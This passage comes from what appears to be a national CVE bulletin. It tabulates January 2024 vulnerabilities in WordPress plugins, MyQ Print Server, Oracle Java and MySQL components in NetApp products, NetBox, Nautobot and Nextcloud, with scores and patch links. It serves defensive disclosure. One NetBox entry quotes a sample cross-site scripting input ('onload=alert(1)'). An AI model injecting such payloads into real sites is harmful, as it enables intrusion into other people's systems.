Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	The EventON WordPress plugin before 2.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored HTML Injection attacks even when the unfiltered_html capability is disallowed. **CVE ID : CVE-2023-6046**	N/A	A-MYE-EVEN-140224/779
Affected Version(s): * Up to (excluding) 2.2.7					
Improper Encoding or Escaping of Output	16-Jan-2024	6.1	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not properly sanitise and escape a parameter before outputting it back in pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	N/A	A-MYE-EVEN-140224/780

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0233		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, and does not ensure that the post to be updated belong to the plugin, allowing unauthenticated users to update arbitrary post metadata. **CVE ID : CVE-2024-0238**	N/A	A-MYE-EVEN-140224/781
Missing Authorization	16-Jan-2024	5.3	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve email addresses of any users on the blog **CVE ID : CVE-2024-0235**	N/A	A-MYE-EVEN-140224/782
Missing Authorization	16-Jan-2024	5.3	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin	N/A	A-MYE-EVEN-140224/783

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			before 2.2.7 do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve the settings of arbitrary virtual events, including any meeting password set (for example for Zoom) **CVE ID : CVE-2024-0236**		
Missing Authorization	16-Jan-2024	5.3	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in some AJAX actions, allowing unauthenticated users to update virtual events settings, such as meeting URL, moderator, access details etc **CVE ID : CVE-2024-0237**	N/A	A-MYE-EVEN-140224/784
Improper Encoding or Escaping of Output	16-Jan-2024	4.8	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 does not sanitize and escape some of its settings, which could allow high privilege users	N/A	A-MYE-EVEN-140224/785

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). **CVE ID : CVE-2023-6005**		
Affected Version(s): From (including) 4.0 Up to (excluding) 4.5.5					
Improper Encoding or Escaping of Output	16-Jan-2024	6.1	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not properly sanitise and escape a parameter before outputting it back in pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin **CVE ID : CVE-2024-0233**	N/A	A-MYE-EVEN-140224/786
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, and does not ensure that the post to be updated	N/A	A-MYE-EVEN-140224/787

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			belong to the plugin, allowing unauthenticated users to update arbitrary post metadata. **CVE ID : CVE-2024-0238**		
Missing Authorization	16-Jan-2024	5.3	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve email addresses of any users on the blog **CVE ID : CVE-2024-0235**	N/A	A-MYE-EVEN-140224/788
Missing Authorization	16-Jan-2024	5.3	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve the settings of arbitrary virtual events, including any meeting password set (for example for Zoom)	N/A	A-MYE-EVEN-140224/789

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0236		
Missing Authorization	16-Jan-2024	5.3	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in some AJAX actions, allowing unauthenticated users to update virtual events settings, such as meeting URL, moderator, access details etc **CVE ID : CVE-2024-0237**	N/A	A-MYE-EVEN-140224/790
Improper Encoding or Escaping of Output	16-Jan-2024	4.8	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 does not sanitize and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). **CVE ID : CVE-2023-6005**	N/A	A-MYE-EVEN-140224/791

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: rsvp_events					
Affected Version(s): * Up to (excluding) 2.9.5					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	6.1	The EventON-RSVP WordPress plugin before 2.9.5 does not sanitise and escape some parameters before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin **CVE ID : CVE-2023-7170**	N/A	A-MYE-RSVP-140224/792
Vendor: mypresta					
Product: manufacturers_\(brands\)_images_block					
Affected Version(s): * Up to (excluding) 1.6.1					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	In the module mib < 1.6.1 from MyPresta.eu for PrestaShop, a guest can perform SQL injection. The methods `mib::getManufacturersByCategory()` has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection. **CVE ID : CVE-2023-46351**	https://security.friendsofpresta.org/modules/2024/01/18/mib.html	A-MYP-MANU-140224/793
Vendor: myq-solution					
Product: print_server					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 8.2					
N/A	23-Jan-2024	9.8	MyQ Print Server before 8.2 patch 43 allows Unauthenticated Remote Code Execution. **CVE ID : CVE-2024-22076**	N/A	A-MYQ-PRIN-140224/794
Affected Version(s): 8.2					
N/A	23-Jan-2024	9.8	MyQ Print Server before 8.2 patch 43 allows Unauthenticated Remote Code Execution. **CVE ID : CVE-2024-22076**	N/A	A-MYQ-PRIN-140224/795
Vendor: mythemeshop					
Product: url_shortener					
Affected Version(s): * Up to (including) 1.0.17					
Missing Authorization	17-Jan-2024	8.8	Missing Authorization vulnerability in MyThemeShop URL Shortener by MyThemeShop.This issue affects URL Shortener by MyThemeShop: from n/a through 1.0.17. **CVE ID : CVE-2023-23896**	N/A	A-MYT-URL_-140224/796
Vendor: Nagios					
Product: nagios_cross_platform_agent					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 2.4.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Jan-2024	4.8	DOM-based Cross Site Scripting (XSS vulnerability in 'Tail Event Logs' functionality in Nagios Nagios Cross-Platform Agent (NCPA) before 2.4.0 allows attackers to run arbitrary code via the name element when filtering for a log. **CVE ID : CVE-2021-43584**	N/A	A-NAG-NAGI-140224/797
Vendor: Netapp					
Product: cloud_insights_acquisition_unit					
Affected Version(s): -					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-CLOU-140224/798

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-CLOU-140224/799

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Product: cloud_insights_storage_workload_security_agent					
Affected Version(s): -					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-CLOU-140224/800

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/A		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			C:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-CLOU-140224/801

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Product: oncommand_insight					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20961**	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/802
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL	https://www.oracle.com/security-	A-NET-ONCO-140224/803

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(component: Server: Security: Encryption). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20963**	alerts/cpujan2024.html	
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/804

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20973**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.2.0 and prior. Easily exploitable vulnerability	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/805

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20975**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/806

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20977**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: UDF). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/807

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20985**		
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/808

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	5.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/809

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). **CVE ID : CVE-2024-20967**		
N/A	16-Jan-2024	5.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/810

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). **CVE ID : CVE-2024-20969**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/811

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20965**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/812

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20971**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector:	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/813

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20981**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.34 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20983**	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/814

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition	https://www.oracle.com/security-alerts/cpujan2024.html	A-NET-ONCO-140224/815

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Vendor: netbox					
Product: netbox					
Affected Version(s): * Up to (including) 3.7.0					
Improper Neutralization of	26-Jan-2024	6.1	A vulnerability, which was classified as	N/A	A-NET-NETB-140224/816

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			problematic, has been found in NetBox up to 3.7.0. This issue affects some unknown processing of the file /core/config-revisions of the component Home Page Configuration. The manipulation with the input <<h1 onload=alert(1)>>test</h1> leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252191. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0948**		
Vendor: networktocode					
Product: nautobot					
Affected Version(s): * Up to (excluding) 1.6.10					
Improper Neutralization of Input During	23-Jan-2024	5.4	Nautobot is a Network Source of Truth and Network Automation Platform built as a	https://github.com/nautobot/nautobot/commit/17effcbe84a72150c82b1385	A-NET-NAUT-140224/817

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			web application. All users of Nautobot versions earlier than 1.6.10 or 2.1.2 are potentially impacted by a cross-site scripting vulnerability. Due to inadequate input sanitization, any user-editable fields that support Markdown rendering, including are potentially susceptible to cross-site scripting (XSS) attacks via maliciously crafted data. This issue is fixed in Nautobot versions 1.6.10 and 2.1.2. **CVE ID : CVE-2024-23345**	65c311bbee357e80, https://github.com/nautobot/nautobot/commit/64312a4297b5ca49b6cdedf477e41e8e4fd61cce, https://github.com/nautobot/nautobot/pull/5133	
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.1.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	5.4	Nautobot is a Network Source of Truth and Network Automation Platform built as a web application. All users of Nautobot versions earlier than 1.6.10 or 2.1.2 are potentially impacted by a cross-site scripting vulnerability. Due to inadequate input	https://github.com/nautobot/nautobot/commit/17effcbe84a72150c82b138565c311bbee357e80, https://github.com/nautobot/nautobot/commit/64312a4297b5ca49b6cdedf477e41e8e4fd61cce, https://github.c	A-NET-NAUT-140224/818

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sanitization, any user-editable fields that support Markdown rendering, including are potentially susceptible to cross-site scripting (XSS) attacks via maliciously crafted data. This issue is fixed in Nautobot versions 1.6.10 and 2.1.2. **CVE ID : CVE-2024-23345**	om/nautobot/nautobot/pull/5133	
Vendor: newnine					
Product: font_awesome_4_menus					
Affected Version(s): * Up to (including) 4.7.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	The Font Awesome 4 Menus WordPress plugin through 4.7.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). **CVE ID : CVE-2022-3829**	N/A	A-NEW-FONT-140224/819
Vendor: Nextcloud					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: deck					
Affected Version(s): From (including) 1.10.0 Up to (excluding) 1.11.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud. In affected versions users could be tricked into executing malicious code that would execute in their browser via HTML sent as a comment. It is recommended that the Nextcloud Deck is upgraded to version 1.9.5 or 1.11.2. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22213**	https://github.com/nextcloud/deck/commit/91f1557362047f8840f53151f176b80148650bcd, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-mg7w-x9fm-9wwc	A-NEX-DECK-140224/820
Affected Version(s): From (including) 1.9.0 Up to (excluding) 1.9.5					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud. In affected versions users could be tricked into executing	https://github.com/nextcloud/deck/commit/91f1557362047f8840f53151f176b80148650bcd, https://github.com/nextcloud/security-advisories/security/advisories/	A-NEX-DECK-140224/821

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			malicious code that would execute in their browser via HTML sent as a comment. It is recommended that the Nextcloud Deck is upgraded to version 1.9.5 or 1.11.2. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22213**	GHSA-mg7w-x9fm-9wwc	
Product: global_site_selector					
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.1.2					
Missing Authentication for Critical Function	18-Jan-2024	9.8	Nextcloud Global Site Selector is a tool which allows you to run multiple small Nextcloud instances and redirect users to the right server. A problem in the password verification method allows an attacker to authenticate as another user. It is recommended that the Nextcloud Global Site Selector is upgraded to version 1.4.1, 2.1.2, 2.3.4 or 2.4.5. There are no known workarounds for this issue.	https://github.com/nextcloud/globalsiteselector/commit/ab5da57190d5bbc79079ce4109b6bcccccd893ee, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vj5q-f63m-wp77	A-NEX-GLOB-140224/822

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22212		
Affected Version(s): From (including) 1.1.0 Up to (excluding) 1.4.1					
Missing Authentication for Critical Function	18-Jan-2024	9.8	Nextcloud Global Site Selector is a tool which allows you to run multiple small Nextcloud instances and redirect users to the right server. A problem in the password verification method allows an attacker to authenticate as another user. It is recommended that the Nextcloud Global Site Selector is upgraded to version 1.4.1, 2.1.2, 2.3.4 or 2.4.5. There are no known workarounds for this issue. **CVE ID : CVE-2024-22212**	https://github.com/nextcloud/globalsiteselector/commit/ab5da57190d5bbc79079ce4109b6bcccccd893ee, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vj5q-f63m-wp77	A-NEX-GLOB-140224/823
